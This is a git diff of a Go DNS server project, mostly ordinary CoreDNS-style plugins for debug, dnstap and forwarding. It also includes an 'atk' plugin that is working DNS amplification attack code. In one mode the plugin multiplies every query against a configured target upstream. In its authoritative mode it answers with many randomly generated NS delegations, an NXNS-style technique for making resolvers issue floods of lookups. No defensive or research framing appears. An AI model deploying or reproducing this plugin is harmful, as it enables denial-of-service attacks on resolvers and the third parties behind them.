ohmyName = "OhmyDNS"
serverType = "dns"
)

View File

@@ -0,0 +1,12 @@
package main
//go:generate go run plugin_gen.go
import (
_ "ohmydns2/core/plug"
"ohmydns2/ohmain"
)
func main() {
ohmain.Run()
}

View File

@@ -0,0 +1,9 @@
log:log
dnstap:dnstap
debug:debug
prometheus:prometheus
forward:forward
metadata:metadata
whoami:whoami
qname:qname
atk:atk

View File

@@ -0,0 +1,127 @@
package atk
import (
"context"
"github.com/miekg/dns"
"github.com/thanhpk/randstr"
"net"
"ohmydns2/plugin/pkg/proxy"
"ohmydns2/plugin/pkg/request"
"strings"
)
type Atk struct {
proxies []*proxy.Proxy
serveType string
magni int
zoneip4 string
zoneip6 string
ip6NS string
ip4NS string
ip6Addr string
ip4Addr string
target string
}
func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
state := request.Request{W: w, Req: r}
// 转发器模式
if a.serveType == "fdns" {
opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."}
for i := a.magni; i > 0; i-- {
// 向上游发送查询请求
go func() {
_, _ = a.proxies[0].Connect(ctx, state, opt)
}()
}
return 0, nil
} else {
//权威模式
msg := new(dns.Msg)
msg.SetReply(r)
msg.Authoritative = true
// 应对0x20
qname := strings.ToLower(state.QName())
// 请求的源地址
switch a.validRequest(qname) {
case 0:
// 放大
log.Infof("%v 查询 %v, 准备放大", state.IP(), state.Name())
msg = a.Response(msg, 0)
case 1:
//观察
log.Infof("%v 接收到请求: %v ask %v", a.ip6NS, state.IP(), state.Name())
msg = a.Response(msg, 1)
case -1:
log.Infof("%v 接收到被修改的请求(QnameMini): %v ask %v", a.ip6NS, state.IP(), state.Name())
msg = a.Response(msg, -1)
case 2:
//其他请求不响应
log.Infof("%v 意外查询 %v", state.IP(), state.Name())
return 0, nil
}
err := w.WriteMsg(msg)
if err != nil {
log.Info(err.Error())
return dns.RcodeServerFailure, err
}
return 0, nil
}
}
func (a Atk) Name() string {
return "atk"
}
func (a Atk) Response(msg *dns.Msg, iptype int) *dns.Msg {
if iptype == 0 { // 一级放大
for i := 0; i < a.magni; i++ {
rec := new(dns.NS)
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
rec.Hdr.Name = msg.Question[0].Name
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip6
log.Infof("生成NS: %v", ns)
rec.Ns = ns
msg.Ns = append(msg.Ns, rec)
}
} else if iptype == 1 { // 二级放大
for i := 0; i < a.magni; i++ {
rec := new(dns.NS)
rec.Hdr = dns.RR_Header{Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
rec.Hdr.Name = msg.Question[0].Name
ns := strings.ToLower(randstr.String(10)) + "." + a.zoneip4
log.Infof("生成NS: %v", ns)
rec.Ns = ns
msg.Ns = append(msg.Ns, rec)
}
} else if iptype == 2 {
//返回NXNS
msg.Rcode = dns.RcodeNameError
//授权记录
rec := new(dns.NS)
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
rec.Ns = a.ip6NS
msg.Ns = append(msg.Ns, rec)
//胶水记录
recaddr := new(dns.AAAA)
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
recaddr.AAAA = net.ParseIP(a.ip6Addr)
msg.Extra = append(msg.Extra, recaddr)
} else {
// 特殊请求,返回权威信息
//授权记录
rec := new(dns.NS)
rec.Hdr = dns.RR_Header{Name: a.zoneip6, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeNS}
rec.Ns = a.ip6NS
msg.Ns = append(msg.Ns, rec)
//胶水记录
recaddr := new(dns.AAAA)
recaddr.Hdr = dns.RR_Header{Name: a.ip6NS, Class: dns.ClassINET, Ttl: 10, Rrtype: dns.TypeAAAA}
recaddr.AAAA = net.ParseIP(a.ip6Addr)
msg.Extra = append(msg.Extra, recaddr)
}
return msg
}

View File

@@ -0,0 +1,23 @@
package atk
import (
"strings"
)
func (a Atk) validRequest(qname string) int {
//判断是否为第一阶段目标域名(放大)
if strings.Contains(qname, a.zoneip4) {
if len(strings.Split(qname, ".")) == 5 {
//需要放大
return 0
}
// 请求被修改,返回权威信息
return -1
}
if strings.Contains(qname, a.zoneip6) {
//需要放大
return 1
}
// 均不满足,返回权威信息
return 2
}

View File

@@ -0,0 +1,55 @@
package atk
import "testing"
func TestAtk_validRequest(t *testing.T) {
type fields struct {
magni int
zoneip4 string
zoneip6 string
ip6NS string
ip4NS string
ip6Addr string
ip4Addr string
}
type args struct {
qname string
}
tests := []struct {
name string
fields fields
args args
want int
}{
{name: "test1",
fields: fields{
magni: 10,
zoneip4: "comm.n64.top",
zoneip6: "v6.atk.top",
ip6NS: "ns.n64.top",
ip6Addr: "fe80::",
ip4Addr: "1.2.3.4",
},
args: args{
qname: "comm.n64.top",
},
want: 0,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
a := Atk{
magni: tt.fields.magni,
zoneip4: tt.fields.zoneip4,
zoneip6: tt.fields.zoneip6,
ip6NS: tt.fields.ip6NS,
ip4NS: tt.fields.ip4NS,
ip6Addr: tt.fields.ip6Addr,
ip4Addr: tt.fields.ip4Addr,
}
if got := a.validRequest(tt.args.qname); got != tt.want {
t.Errorf("validRequest() = %v, want %v", got, tt.want)
}
})
}
}

View File

@@ -0,0 +1,49 @@
package atk
import (
"github.com/coredns/caddy"
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
log2 "ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/proxy"
"strconv"
"time"
)
func init() { plugin.Register("atk", setup) }
func setup(c *caddy.Controller) error {
atk := new(Atk)
c.Next()
// domain1 domain2 factor
args := c.RemainingArgs()
// fdns or adns
atk.serveType = args[0]
if atk.serveType == "fdns" {
atk.target = args[1]
p := proxy.NewProxy(atk.target+":53", "dns")
// 开启代理连接管理
dur, _ := time.ParseDuration("10s")
p.Start(dur)
atk.proxies = append(atk.proxies, p)
atk.magni, _ = strconv.Atoi(args[2])
} else {
atk.zoneip4 = args[1]
atk.ip4NS = args[2]
atk.ip4Addr = args[3]
atk.zoneip6 = args[4]
atk.ip6NS = args[5]
atk.ip6Addr = args[6]
atk.magni, _ = strconv.Atoi(args[7])
}
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
return atk
})
return nil
}
var log = log2.NewWithPlugin("atk")

View File

@@ -0,0 +1,23 @@
package debug
import (
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
"github.com/coredns/caddy"
)
func init() { plugin.Register("debug", setup) }
func setup(c *caddy.Controller) error {
config := dnsserver.GetConfig(c)
for c.Next() {
if c.NextArg() {
return plugin.Error("debug", c.ArgErr())
}
config.Debug = true
}
return nil
}

View File

@@ -0,0 +1,71 @@
package debug
import (
"bytes"
"fmt"
"ohmydns2/plugin/pkg/log"
"github.com/miekg/dns"
)
// Hexdump converts the dns message m to a hex dump Wireshark can import.
// See https://www.wireshark.org/docs/man-pages/text2pcap.html.
// This output looks like this:
//
// 00000 dc bd 01 00 00 01 00 00 00 00 00 01 07 65 78 61
// 000010 6d 70 6c 65 05 6c 6f 63 61 6c 00 00 01 00 01 00
// 000020 00 29 10 00 00 00 80 00 00 00
// 00002a
//
// Hexdump will use log.Debug to write the dump to the log, each line
// is prefixed with 'debug: ' so the data can be easily extracted.
//
// msg will prefix the pcap dump.
func Hexdump(m *dns.Msg, v ...interface{}) {
if !log.D.Value() {
return
}
buf, _ := m.Pack()
if len(buf) == 0 {
return
}
out := "\n" + string(hexdump(buf))
v = append(v, out)
log.Debug(v...)
}
// Hexdumpf dumps a DNS message as Hexdump, but allows a format string.
func Hexdumpf(m *dns.Msg, format string, v ...interface{}) {
if !log.D.Value() {
return
}
buf, _ := m.Pack()
if len(buf) == 0 {
return
}
format += "\n%s"
v = append(v, hexdump(buf))
log.Debugf(format, v...)
}
func hexdump(data []byte) []byte {
b := new(bytes.Buffer)
newline := ""
for i := 0; i < len(data); i++ {
if i%16 == 0 {
fmt.Fprintf(b, "%s%s%06x", newline, prefix, i)
newline = "\n"
}
fmt.Fprintf(b, " %02x", data[i])
}
fmt.Fprintf(b, "\n%s%06x", prefix, len(data))
return b.Bytes()
}
const prefix = "debug: "

View File

@@ -0,0 +1,60 @@
package dnstap
import (
"context"
"ohmydns2/plugin"
"ohmydns2/plugin/dnstap/msg"
"time"
tap "github.com/dnstap/golang-dnstap"
"github.com/miekg/dns"
)
// Dnstap is the dnstap handler.
type Dnstap struct {
Next plugin.Handler
io tapper
// IncludeRawMessage will include the raw DNS message into the dnstap messages if true.
IncludeRawMessage bool
Identity []byte
Version []byte
}
// TapMessage sends the message m to the dnstap interface.
func (h Dnstap) TapMessage(m *tap.Message) {
t := tap.Dnstap_MESSAGE
h.io.Dnstap(&tap.Dnstap{Type: &t, Message: m, Identity: h.Identity, Version: h.Version})
}
func (h Dnstap) tapQuery(w dns.ResponseWriter, query *dns.Msg, queryTime time.Time) {
q := new(tap.Message)
msg.SetQueryTime(q, queryTime)
msg.SetQueryAddress(q, w.RemoteAddr())
if h.IncludeRawMessage {
buf, _ := query.Pack()
q.QueryMessage = buf
}
msg.SetType(q, tap.Message_CLIENT_QUERY)
h.TapMessage(q)
}
// ServeDNS logs the client query and response to dnstap and passes the dnstap Context.
func (h Dnstap) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
rw := &ResponseWriter{
ResponseWriter: w,
Dnstap: h,
query: r,
queryTime: time.Now(),
}
// The query tap message should be sent before sending the query to the
// forwarder. Otherwise, the tap messages will come out out of order.
h.tapQuery(w, r, rw.queryTime)
return plugin.NextOrFailure(h.Name(), h.Next, ctx, rw, r)
}
// Name implements the plugin.Plugin interface.
func (h Dnstap) Name() string { return "dnstap" }

View File

@@ -0,0 +1,40 @@
package dnstap
import (
"io"
"time"
tap "github.com/dnstap/golang-dnstap"
fs "github.com/farsightsec/golang-framestream"
"google.golang.org/protobuf/proto"
)
// encoder wraps a golang-framestream.Encoder.
type encoder struct {
fs *fs.Encoder
}
func newEncoder(w io.Writer, timeout time.Duration) (*encoder, error) {
fs, err := fs.NewEncoder(w, &fs.EncoderOptions{
ContentType: []byte("protobuf:dnstap.Dnstap"),
Bidirectional: true,
Timeout: timeout,
})
if err != nil {
return nil, err
}
return &encoder{fs}, nil
}
func (e *encoder) writeMsg(msg *tap.Dnstap) error {
buf, err := proto.Marshal(msg)
if err != nil {
return err
}
_, err = e.fs.Write(buf) // n < len(buf) should return an error?
return err
}
func (e *encoder) flush() error { return e.fs.Flush() }
func (e *encoder) close() error { return e.fs.Close() }

View File

@@ -0,0 +1,143 @@
package dnstap
import (
"crypto/tls"
"net"
"sync/atomic"
"time"
tap "github.com/dnstap/golang-dnstap"
)
// tapper interface is used in testing to mock the Dnstap method.
type tapper interface {
Dnstap(*tap.Dnstap)
}
// dio implements the Tapper interface.
type dio struct {
endpoint string
proto string
enc *encoder
queue chan *tap.Dnstap
dropped uint32
quit chan struct{}
flushTimeout time.Duration
tcpTimeout time.Duration
skipVerify bool
}
// newIO returns a new and initialized pointer to a dio.
func newIO(proto, endpoint string) *dio {
return &dio{
endpoint: endpoint,
proto: proto,
queue: make(chan *tap.Dnstap, queueSize),
quit: make(chan struct{}),
flushTimeout: flushTimeout,
tcpTimeout: tcpTimeout,
skipVerify: skipVerify,
}
}
func (d *dio) dial() error {
var conn net.Conn
var err error
if d.proto == "tls" {
config := &tls.Config{
InsecureSkipVerify: d.skipVerify,
}
dialer := &net.Dialer{
Timeout: d.tcpTimeout,
}
conn, err = tls.DialWithDialer(dialer, "tcp", d.endpoint, config)
if err != nil {
return err
}
} else {
conn, err = net.DialTimeout(d.proto, d.endpoint, d.tcpTimeout)
if err != nil {
return err
}
}
if tcpConn, ok := conn.(*net.TCPConn); ok {
tcpConn.SetWriteBuffer(tcpWriteBufSize)
tcpConn.SetNoDelay(false)
}
d.enc, err = newEncoder(conn, d.tcpTimeout)
return err
}
// Connect connects to the dnstap endpoint.
func (d *dio) connect() error {
err := d.dial()
go d.serve()
return err
}
// Dnstap enqueues the payload for log.
func (d *dio) Dnstap(payload *tap.Dnstap) {
select {
case d.queue <- payload:
default:
atomic.AddUint32(&d.dropped, 1)
}
}
// close waits until the I/O routine is finished to return.
func (d *dio) close() { close(d.quit) }
func (d *dio) write(payload *tap.Dnstap) error {
if d.enc == nil {
atomic.AddUint32(&d.dropped, 1)
return nil
}
if err := d.enc.writeMsg(payload); err != nil {
atomic.AddUint32(&d.dropped, 1)
return err
}
return nil
}
func (d *dio) serve() {
timeout := time.NewTimer(d.flushTimeout)
defer timeout.Stop()
for {
timeout.Reset(d.flushTimeout)
select {
case <-d.quit:
if d.enc == nil {
return
}
d.enc.flush()
d.enc.close()
return
case payload := <-d.queue:
if err := d.write(payload); err != nil {
d.dial()
}
case <-timeout.C:
if dropped := atomic.SwapUint32(&d.dropped, 0); dropped > 0 {
log.Warningf("Dropped dnstap messages: %d", dropped)
}
if d.enc == nil {
d.dial()
} else {
d.enc.flush()
}
}
}
}
const (
tcpWriteBufSize = 1024 * 1024 // there is no good explanation for why this number has this value.
queueSize = 10000 // idem.
tcpTimeout = 4 * time.Second
flushTimeout = 1 * time.Second
skipVerify = false // by default, every tls connection is verified to be secure
)

View File

@@ -0,0 +1,97 @@
package msg
import (
"fmt"
"net"
"time"
tap "github.com/dnstap/golang-dnstap"
)
var (
protoUDP = tap.SocketProtocol_UDP
protoTCP = tap.SocketProtocol_TCP
familyINET = tap.SocketFamily_INET
familyINET6 = tap.SocketFamily_INET6
)
// SetQueryAddress adds the query address to the message. This also sets the SocketFamily and SocketProtocol.
func SetQueryAddress(t *tap.Message, addr net.Addr) error {
t.SocketFamily = &familyINET
switch a := addr.(type) {
case *net.TCPAddr:
t.SocketProtocol = &protoTCP
t.QueryAddress = a.IP
p := uint32(a.Port)
t.QueryPort = &p
if a.IP.To4() == nil {
t.SocketFamily = &familyINET6
}
return nil
case *net.UDPAddr:
t.SocketProtocol = &protoUDP
t.QueryAddress = a.IP
p := uint32(a.Port)
t.QueryPort = &p
if a.IP.To4() == nil {
t.SocketFamily = &familyINET6
}
return nil
default:
return fmt.Errorf("unknown address type: %T", a)
}
}
// SetResponseAddress the response address to the message. This also sets the SocketFamily and SocketProtocol.
func SetResponseAddress(t *tap.Message, addr net.Addr) error {
t.SocketFamily = &familyINET
switch a := addr.(type) {
case *net.TCPAddr:
t.SocketProtocol = &protoTCP
t.ResponseAddress = a.IP
p := uint32(a.Port)
t.ResponsePort = &p
if a.IP.To4() == nil {
t.SocketFamily = &familyINET6
}
return nil
case *net.UDPAddr:
t.SocketProtocol = &protoUDP
t.ResponseAddress = a.IP
p := uint32(a.Port)
t.ResponsePort = &p
if a.IP.To4() == nil {
t.SocketFamily = &familyINET6
}
return nil
default:
return fmt.Errorf("unknown address type: %T", a)
}
}
// SetQueryTime sets the time of the query in t.
func SetQueryTime(t *tap.Message, ti time.Time) {
qts := uint64(ti.Unix())
qtn := uint32(ti.Nanosecond())
t.QueryTimeSec = &qts
t.QueryTimeNsec = &qtn
}
// SetResponseTime sets the time of the response in t.
func SetResponseTime(t *tap.Message, ti time.Time) {
rts := uint64(ti.Unix())
rtn := uint32(ti.Nanosecond())
t.ResponseTimeSec = &rts
t.ResponseTimeNsec = &rtn
}
// SetType sets the type in t.
func SetType(t *tap.Message, typ tap.Message_Type) { t.Type = &typ }

View File

@@ -0,0 +1,131 @@
package dnstap
import (
"net/url"
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
olog "ohmydns2/plugin/pkg/log"
"os"
"strings"
"github.com/coredns/caddy"
)
var log = olog.NewWithPlugin("dnstap")
func init() { plugin.Register("dnstap", setup) }
func parseConfig(c *caddy.Controller) ([]*Dnstap, error) {
dnstaps := []*Dnstap{}
for c.Next() { // directive name
d := Dnstap{}
endpoint := ""
args := c.RemainingArgs()
if len(args) == 0 {
return nil, c.ArgErr()
}
endpoint = args[0]
var dio *dio
if strings.HasPrefix(endpoint, "tls://") {
// remote network endpoint
endpointURL, err := url.Parse(endpoint)
if err != nil {
return nil, c.ArgErr()
}
dio = newIO("tls", endpointURL.Host)
d = Dnstap{io: dio}
} else if strings.HasPrefix(endpoint, "tcp://") {
// remote network endpoint
endpointURL, err := url.Parse(endpoint)
if err != nil {
return nil, c.ArgErr()
}
dio = newIO("tcp", endpointURL.Host)
d = Dnstap{io: dio}
} else {
endpoint = strings.TrimPrefix(endpoint, "unix://")
dio = newIO("unix", endpoint)
d = Dnstap{io: dio}
}
d.IncludeRawMessage = len(args) == 2 && args[1] == "full"
hostname, _ := os.Hostname()
d.Identity = []byte(hostname)
d.Version = []byte(caddy.AppName + "-" + caddy.AppVersion)
for c.NextBlock() {
switch c.Val() {
case "skipverify":
{
dio.skipVerify = true
}
case "identity":
{
if !c.NextArg() {
return nil, c.ArgErr()
}
d.Identity = []byte(c.Val())
}
case "version":
{
if !c.NextArg() {
return nil, c.ArgErr()
}
d.Version = []byte(c.Val())
}
}
}
dnstaps = append(dnstaps, &d)
}
return dnstaps, nil
}
func setup(c *caddy.Controller) error {
dnstaps, err := parseConfig(c)
if err != nil {
return plugin.Error("dnstap", err)
}
for i := range dnstaps {
dnstap := dnstaps[i]
c.OnStartup(func() error {
if err := dnstap.io.(*dio).connect(); err != nil {
log.Errorf("No connection to dnstap endpoint: %s", err)
}
return nil
})
c.OnRestart(func() error {
dnstap.io.(*dio).close()
return nil
})
c.OnFinalShutdown(func() error {
dnstap.io.(*dio).close()
return nil
})
if i == len(dnstaps)-1 {
// last dnstap plugin in block: point next to next plugin
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
dnstap.Next = next
return dnstap
})
} else {
// not last dnstap plugin in block: point next to next dnstap
nextDnstap := dnstaps[i+1]
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
dnstap.Next = nextDnstap
return dnstap
})
}
}
return nil
}

View File

@@ -0,0 +1,39 @@
package dnstap
import (
"ohmydns2/plugin/dnstap/msg"
"time"
tap "github.com/dnstap/golang-dnstap"
"github.com/miekg/dns"
)
// ResponseWriter captures the client response and logs the query to dnstap.
type ResponseWriter struct {
queryTime time.Time
query *dns.Msg
dns.ResponseWriter
Dnstap
}
// WriteMsg writes back the response to the client and THEN works on logging the request and response to dnstap.
func (w *ResponseWriter) WriteMsg(resp *dns.Msg) error {
err := w.ResponseWriter.WriteMsg(resp)
if err != nil {
return err
}
r := new(tap.Message)
msg.SetQueryTime(r, w.queryTime)
msg.SetResponseTime(r, time.Now())
msg.SetQueryAddress(r, w.RemoteAddr())
if w.IncludeRawMessage {
buf, _ := resp.Pack()
r.ResponseMessage = buf
}
msg.SetType(r, tap.Message_CLIENT_RESPONSE)
w.TapMessage(r)
return nil
}

View File

@@ -0,0 +1,64 @@
package forward
import (
"net"
"ohmydns2/plugin/dnstap/msg"
"ohmydns2/plugin/pkg/proxy"
"ohmydns2/plugin/pkg/request"
"strconv"
"time"
tap "github.com/dnstap/golang-dnstap"
"github.com/miekg/dns"
)
// toDnstap will send the forward and received message to the dnstap plugin.
func toDnstap(f *Forward, host string, state request.Request, opts proxy.Options, reply *dns.Msg, start time.Time) {
h, p, _ := net.SplitHostPort(host) // this is preparsed and can't err here
port, _ := strconv.ParseUint(p, 10, 32) // same here
ip := net.ParseIP(h)
var ta net.Addr = &net.UDPAddr{IP: ip, Port: int(port)}
t := state.Proto()
switch {
case opts.ForceTCP:
t = "tcp"
case opts.PreferUDP:
t = "udp"
}
if t == "tcp" {
ta = &net.TCPAddr{IP: ip, Port: int(port)}
}
for _, t := range f.tapPlugins {
// Query
q := new(tap.Message)
msg.SetQueryTime(q, start)
// Forwarder dnstap messages are from the perspective of the downstream server
// (upstream is the forward server)
msg.SetQueryAddress(q, state.W.RemoteAddr())
msg.SetResponseAddress(q, ta)
if t.IncludeRawMessage {
buf, _ := state.Req.Pack()
q.QueryMessage = buf
}
msg.SetType(q, tap.Message_FORWARDER_QUERY)
t.TapMessage(q)
// Response
if reply != nil {
r := new(tap.Message)
if t.IncludeRawMessage {
buf, _ := reply.Pack()
r.ResponseMessage = buf
}
msg.SetQueryTime(r, start)
msg.SetQueryAddress(r, state.W.RemoteAddr())
msg.SetResponseAddress(r, ta)
msg.SetResponseTime(r, time.Now())
msg.SetType(r, tap.Message_FORWARDER_RESPONSE)
t.TapMessage(r)
}
}
}

View File

@@ -0,0 +1,250 @@
package forward
import (
"context"
"crypto/tls"
"errors"
ot "github.com/opentracing/opentracing-go"
otext "github.com/opentracing/opentracing-go/ext"
"ohmydns2/plugin"
"ohmydns2/plugin/debug"
"ohmydns2/plugin/dnstap"
"ohmydns2/plugin/metadata"
"ohmydns2/plugin/pkg/proxy"
"ohmydns2/plugin/pkg/request"
"sync/atomic"
"time"
"github.com/miekg/dns"
)
var defaultTimeout = 5 * time.Second
// Forward represents a plugin instance that can proxy requests to another (DNS) server. It has a list
// of proxies each representing one upstream proxy.
type Forward struct {
concurrent int64 // atomic counters need to be first in struct for proper alignment
proxies []*proxy.Proxy
p Policy
hcInterval time.Duration
from string
ignored []string
tlsConfig *tls.Config
tlsServerName string
maxfails uint32
expire time.Duration
maxConcurrent int64
opts proxy.Options // also here for testing
// ErrLimitExceeded indicates that a query was rejected because the number of concurrent queries has exceeded
// the maximum allowed (maxConcurrent)
ErrLimitExceeded error
tapPlugins []*dnstap.Dnstap // when dnstap plugins are loaded, we use to this to send messages out.
Next plugin.Handler
}
// New returns a new Forward.
func New() *Forward {
f := &Forward{maxfails: 2, tlsConfig: new(tls.Config), expire: defaultExpire, p: new(random), from: ".", hcInterval: hcInterval, opts: proxy.Options{ForceTCP: false, PreferUDP: false, HCRecursionDesired: true, HCDomain: "."}}
return f
}
// SetProxy appends p to the proxy list and starts healthchecking.
func (f *Forward) SetProxy(p *proxy.Proxy) {
f.proxies = append(f.proxies, p)
p.Start(f.hcInterval)
}
// SetTapPlugin appends one or more dnstap plugins to the tap plugin list.
func (f *Forward) SetTapPlugin(tapPlugin *dnstap.Dnstap) {
f.tapPlugins = append(f.tapPlugins, tapPlugin)
if nextPlugin, ok := tapPlugin.Next.(*dnstap.Dnstap); ok {
f.SetTapPlugin(nextPlugin)
}
}
// Len returns the number of configured proxies.
func (f *Forward) Len() int { return len(f.proxies) }
// Name implements plugin.Handler.
func (f *Forward) Name() string { return "forward" }
// ServeDNS implements plugin.Handler.
func (f *Forward) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
state := request.Request{W: w, Req: r}
if !f.match(state) {
return plugin.NextOrFailure(f.Name(), f.Next, ctx, w, r)
}
if f.maxConcurrent > 0 {
count := atomic.AddInt64(&(f.concurrent), 1)
defer atomic.AddInt64(&(f.concurrent), -1)
if count > f.maxConcurrent {
MaxConcurrentRejectCount.Add(1)
return dns.RcodeRefused, f.ErrLimitExceeded
}
}
fails := 0
var span, child ot.Span
var upstreamErr error
span = ot.SpanFromContext(ctx)
i := 0
list := f.List()
deadline := time.Now().Add(defaultTimeout)
start := time.Now()
for time.Now().Before(deadline) {
if i >= len(list) {
// reached the end of list, reset to begin
i = 0
fails = 0
}
pProxy := list[i]
i++
if pProxy.Down(f.maxfails) {
fails++
if fails < len(f.proxies) {
continue
}
// All upstream proxies are dead, assume healthcheck is completely broken and randomly
// select an upstream to connect to.
r := new(random)
pProxy = r.List(f.proxies)[0]
HealthcheckBrokenCount.Add(1)
}
if span != nil {
child = span.Tracer().StartSpan("connect", ot.ChildOf(span.Context()))
otext.PeerAddress.Set(child, pProxy.Addr())
ctx = ot.ContextWithSpan(ctx, child)
}
metadata.SetValueFunc(ctx, "forward/upstream", func() string {
return pProxy.Addr()
})
var (
ret *dns.Msg
err error
)
opts := f.opts
for {
ret, err = pProxy.Connect(ctx, state, opts)
if err == ErrCachedClosed { // Remote side closed conn, can only happen with TCP.
continue
}
// Retry with TCP if truncated and prefer_udp configured.
if ret != nil && ret.Truncated && !opts.ForceTCP && opts.PreferUDP {
opts.ForceTCP = true
continue
}
break
}
if child != nil {
child.Finish()
}
if len(f.tapPlugins) != 0 {
toDnstap(f, pProxy.Addr(), state, opts, ret, start)
}
upstreamErr = err
if err != nil {
// Kick off health check to see if *our* upstream is broken.
if f.maxfails != 0 {
pProxy.Healthcheck()
}
if fails < len(f.proxies) {
continue
}
break
}
// Check if the reply is correct; if not return FormErr.
if !state.Match(ret) {
debug.Hexdumpf(ret, "Wrong reply for id: %d, %s %d", ret.Id, state.QName(), state.QType())
formerr := new(dns.Msg)
formerr.SetRcode(state.Req, dns.RcodeFormatError)
w.WriteMsg(formerr)
return 0, nil
}
w.WriteMsg(ret)
return 0, nil
}
if upstreamErr != nil {
return dns.RcodeServerFailure, upstreamErr
}
return dns.RcodeServerFailure, ErrNoHealthy
}
func (f *Forward) match(state request.Request) bool {
if !plugin.Name(f.from).Matches(state.Name()) || !f.isAllowedDomain(state.Name()) {
return false
}
return true
}
func (f *Forward) isAllowedDomain(name string) bool {
if dns.Name(name) == dns.Name(f.from) {
return true
}
for _, ignore := range f.ignored {
if plugin.Name(ignore).Matches(name) {
return false
}
}
return true
}
// ForceTCP returns if TCP is forced to be used even when the request comes in over UDP.
func (f *Forward) ForceTCP() bool { return f.opts.ForceTCP }
// PreferUDP returns if UDP is preferred to be used even when the request comes in over TCP.
func (f *Forward) PreferUDP() bool { return f.opts.PreferUDP }
// List returns a set of proxies to be used for this client depending on the policy in f.
func (f *Forward) List() []*proxy.Proxy { return f.p.List(f.proxies) }
var (
// ErrNoHealthy means no healthy proxies left.
ErrNoHealthy = errors.New("no healthy proxies")
// ErrNoForward means no forwarder defined.
ErrNoForward = errors.New("no forwarder defined")
// ErrCachedClosed means cached connection was closed by peer.
ErrCachedClosed = errors.New("cached connection was closed by peer")
)
// Options holds various Options that can be set.
type Options struct {
// ForceTCP use TCP protocol for upstream DNS request. Has precedence over PreferUDP flag
ForceTCP bool
// PreferUDP use UDP protocol for upstream DNS request.
PreferUDP bool
// HCRecursionDesired sets recursion desired flag for Proxy healthcheck requests
HCRecursionDesired bool
// HCDomain sets domain for Proxy healthcheck requests
HCDomain string
}
const (
defaultExpire = 10 * time.Second
hcInterval = 500 * time.Millisecond
)

View File

@@ -0,0 +1,24 @@
package forward
import (
"ohmydns2/plugin"
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promauto"
)
// Variables declared for monitoring.
var (
HealthcheckBrokenCount = promauto.NewCounter(prometheus.CounterOpts{
Namespace: plugin.Namespace,
Subsystem: "forward",
Name: "healthcheck_broken_total",
Help: "Counter of the number of complete failures of the healthchecks.",
})
MaxConcurrentRejectCount = promauto.NewCounter(prometheus.CounterOpts{
Namespace: plugin.Namespace,
Subsystem: "forward",
Name: "max_concurrent_rejects_total",
Help: "Counter of the number of queries rejected because the concurrent queries were at maximum.",
})
)

View File

@@ -0,0 +1,68 @@
package forward
import (
"ohmydns2/plugin/pkg/proxy"
"ohmydns2/plugin/pkg/rand"
"sync/atomic"
"time"
)
// Policy defines a policy we use for selecting upstreams.
type Policy interface {
List([]*proxy.Proxy) []*proxy.Proxy
String() string
}
// random is a policy that implements random upstream selection.
type random struct{}
func (r *random) String() string { return "random" }
func (r *random) List(p []*proxy.Proxy) []*proxy.Proxy {
switch len(p) {
case 1:
return p
case 2:
if rn.Int()%2 == 0 {
return []*proxy.Proxy{p[1], p[0]} // swap
}
return p
}
perms := rn.Perm(len(p))
rnd := make([]*proxy.Proxy, len(p))
for i, p1 := range perms {
rnd[i] = p[p1]
}
return rnd
}
// roundRobin is a policy that selects hosts based on round robin ordering.
type roundRobin struct {
robin uint32
}
func (r *roundRobin) String() string { return "round_robin" }
func (r *roundRobin) List(p []*proxy.Proxy) []*proxy.Proxy {
poolLen := uint32(len(p))
i := atomic.AddUint32(&r.robin, 1) % poolLen
robin := []*proxy.Proxy{p[i]}
robin = append(robin, p[:i]...)
robin = append(robin, p[i+1:]...)
return robin
}
// sequential is a policy that selects hosts based on sequential ordering.
type sequential struct{}
func (r *sequential) String() string { return "sequential" }
func (r *sequential) List(p []*proxy.Proxy) []*proxy.Proxy {
return p
}
var rn = rand.New(time.Now().UnixNano())

View File

@@ -0,0 +1,291 @@
package forward
import (
"crypto/tls"
"errors"
"fmt"
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
"ohmydns2/plugin/dnstap"
"ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/parse"
"ohmydns2/plugin/pkg/proxy"
pkgtls "ohmydns2/plugin/pkg/tls"
"ohmydns2/plugin/pkg/transport"
"strconv"
"time"
"github.com/coredns/caddy"
"github.com/miekg/dns"
)
func init() { plugin.Register("forward", setup) }
func setup(c *caddy.Controller) error {
fs, err := parseForward(c)
if err != nil {
return plugin.Error("forward", err)
}
for i := range fs {
f := fs[i]
if f.Len() > max {
return plugin.Error("forward", fmt.Errorf("more than %d TOs configured: %d", max, f.Len()))
}
if i == len(fs)-1 {
// last forward: point next to next plugin
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
f.Next = next
return f
})
} else {
// middle forward: point next to next forward
nextForward := fs[i+1]
dnsserver.GetConfig(c).AddPlugin(func(plugin.Handler) plugin.Handler {
f.Next = nextForward
return f
})
}
c.OnStartup(func() error {
return f.OnStartup()
})
c.OnStartup(func() error {
if taph := dnsserver.GetConfig(c).Handler("dnstap"); taph != nil {
f.SetTapPlugin(taph.(*dnstap.Dnstap))
}
return nil
})
